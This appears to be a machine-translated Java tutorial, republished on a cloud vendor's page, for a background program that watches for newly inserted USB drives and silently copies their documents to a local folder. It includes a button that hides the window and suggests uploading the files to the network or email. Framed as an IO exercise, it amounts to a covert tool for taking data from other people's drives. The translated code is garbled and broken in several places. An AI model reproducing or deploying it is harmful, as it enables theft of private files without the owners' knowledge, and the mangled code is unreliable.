Java implements automatic copy of u disk specified content

Source: Internet
Author: User
Tags create directory event listener file copy thread

The function of the program is to check the U disk and automatically copy the contents of the U disk to a certain disk in the system. Share it with you as a small exercise to practice IO streaming.

The implementation of this applet is as follows:
1, the program after the operation of a break time to check the system's letter has not increased, through the file.listroots () to obtain the system exists in the letter.
2, if the letter is added, traverse the newly added letter, use the byte stream to copy the file to the specified path.

Note that, because the contents of the U disk can be very large, so the best copy of the time to specify the type of file to be copied, such as Ppt,doc,txt and so on.
Here is the code for this applet:
In the Copythread class you can specify the type of file you want to copy, and you add the appropriate file suffix name to the filetypes array. If you want to copy all the files, you can set them to null. In the Copyfiletosysroot class you can specify the path to the store, and of course, if you want, you can upload the file to the network, the mailbox, etc.

First, the Usbmain class, the procedure entrance:

Import java.awt.event.ActionEvent;
Import Java.awt.event.ActionListener;
Import Javax.swing.JButton;
Import Javax.swing.JFrame;

public class Usbmain {public

	static void Main (string[] args) {
		usbmain u = new Usbmain ();
		U.launchframe ();
		Open letter Check thread
		new Checkrootthread (). Start ();

	Interface
	private void Launchframe () {
		final JFrame frame = new JFrame ();
		Frame.setdefaultcloseoperation (jframe.exit_on_close);
		Frame.setlocation (450,);
		JButton hide = new JButton ("Click on hidden Window");
		Click the button to hide the window event Listener
		hide.addactionlistener (new ActionListener () {public
			void actionperformed (ActionEvent e) {
				frame.setvisible (FALSE);
			}
		);
		Frame.add (hide);
		Frame.pack ();
		Frame.setvisible (True);
	}

Second, Checkrootthread class, this class is used to check the appearance of new letter, and trigger a copy of the new disk character file.

Import Java.io.File;

This class is used to check the appearance of the new letter and to trigger the copy of the new disk character file public
class Checkrootthread extends Thread {
	//Get system disk letter
	Private file[] Sysroot = File.listroots ();

	public void Run () {
		file[] currentroot = null;
		while (true) {
			//the current system letter
			Currentroot = File.listroots ();
			if (Currentroot.length > Sysroot.length) {for
				(int i = currentroot.length-1; I >= 0; i--) {
					Boolean IsN Ewroot = true;
					for (int j = sysroot.length-1 J >= 0; j--) {
						//the Copy
						if (Currentroot[i].equals (SYSROOT[J)) that triggers the new disk character file when the two disk characters are not the same {
							isnewroot = false;
						}
					}
					if (isnewroot) {
						new Copythread (Currentroot[i]). Start ();
			}} Sysroot = File.listroots ();
			Check system disk
			try {
				Thread.Sleep (5000) every 5 seconds;
			} catch (Interruptedexception e) {
				e.printstacktrace ( );
			}
		}
	}
}

Third, Copythread class, for file traversal and select the specified file format for replication:

Import Java.io.File;

This class is used to copy new disk character files
public class Copythread extends Thread {
Set the type of file to copy, and if you want to copy all the files in the format, set FileTypes to null
private static string[] FileTypes = {"ppt", "Doc", "TXT", "WPS"};
private static string[] filetypes = null;

File file = null;

Public copythread (file file) {
This.file = file;
}

public void Run () {
Listusbfiles (file);
}

Traverse the disk character file and match the file copy
private void Listusbfiles (File ufile) {
file[] files = ufile.listfiles ();
for (File f:files) {
if (F.isdirectory ()) {
Listusbfiles (f);
} else {
if (Filetypematch (f))
New Copyfiletosysroot (f). Docopy ();
}
}
}

Match the type of file to be copied
public boolean filetypematch (File f) {
When filetypes is null, all copies
if (filetypes = = null) {
return true;
} else {
for (String type:filetypes) {
if (F.getname (). EndsWith ("." + type)) {
return true;
}
}
}
return false;
}
}

Four, Copyfiletosysroot class, the IO stream implementation of the copy file:

 import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import
Java.io.File;
Import Java.io.FileInputStream;
Import java.io.FileNotFoundException;
Import Java.io.FileOutputStream;

Import java.io.IOException;
	File copy IO public class Copyfiletosysroot {//Copy file save path private static final String path = "D:usb";

	Private file File = null;
	Public copyfiletosysroot (file file) {this.file = file;
		///Copy file public void Docopy () {Bufferedinputstream bis = null;

		Bufferedoutputstream BOS = NULL;
			try {//create directory file Fpath = new file (getfileparent (file));
			if (!fpath.exists ()) {fpath.mkdirs ();
			bis = new Bufferedinputstream (new FileInputStream (file));

			BOS = new Bufferedoutputstream (new FileOutputStream (Fpath, File.getname ()));
			byte[] buf = new byte[1024];
			int len = 0;
				while (len = Bis.read (buf))!=-1) {bos.write (buf, 0, Len);
			Bos.flush ();
	} catch (FileNotFoundException e) {		E.printstacktrace ();
		catch (IOException e) {e.printstacktrace ();
			Finally {try {if (bis!= null) bis.close ();
			catch (IOException e) {e.printstacktrace ();
			try {if (Bos!= null) bos.close ();
			catch (IOException e) {e.printstacktrace (); The file path to create the copied file is public String getfileparent (file f) {StringBuilder SB = new StringBuilder (F.GETPA) based on the path of the disk file.
		rent ());
		int i = Sb.indexof (file.separator);
		Sb.replace (0, I, PATH);
	return sb.tostring (); }
}
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.